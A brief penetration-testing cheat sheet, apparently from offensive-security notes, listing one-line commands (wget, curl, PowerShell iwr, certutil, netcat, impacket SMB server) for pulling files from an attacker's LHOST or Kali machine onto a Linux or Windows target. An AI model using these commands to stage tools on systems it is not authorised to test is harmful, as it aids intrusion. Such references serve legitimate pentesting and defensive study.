File Transfer

Linux

wget http://lhost/file
curl http://<LHOST>/<FILE> > <OUTPUT_FILE>

Windows

powershell -command Invoke-WebRequest -Uri http://<LHOST>:<LPORT>/<FILE> -Outfile C:\\temp\\<FILE>
iwr -uri http://lhost/file -Outfile file
certutil -urlcache -split -f "http://<LHOST>/<FILE>" <FILE>
copy \\kali\share\file .

File transfer using Netcat

#Attacker
nc <target_ip> 1234 < nmap

#Target
nc -lvp 1234 > nmap

File transfer using SMB

# Kali
impacket-smbserver -smb2support <sharename> .

# Win
copy file \\KaliIP\sharename

Last updated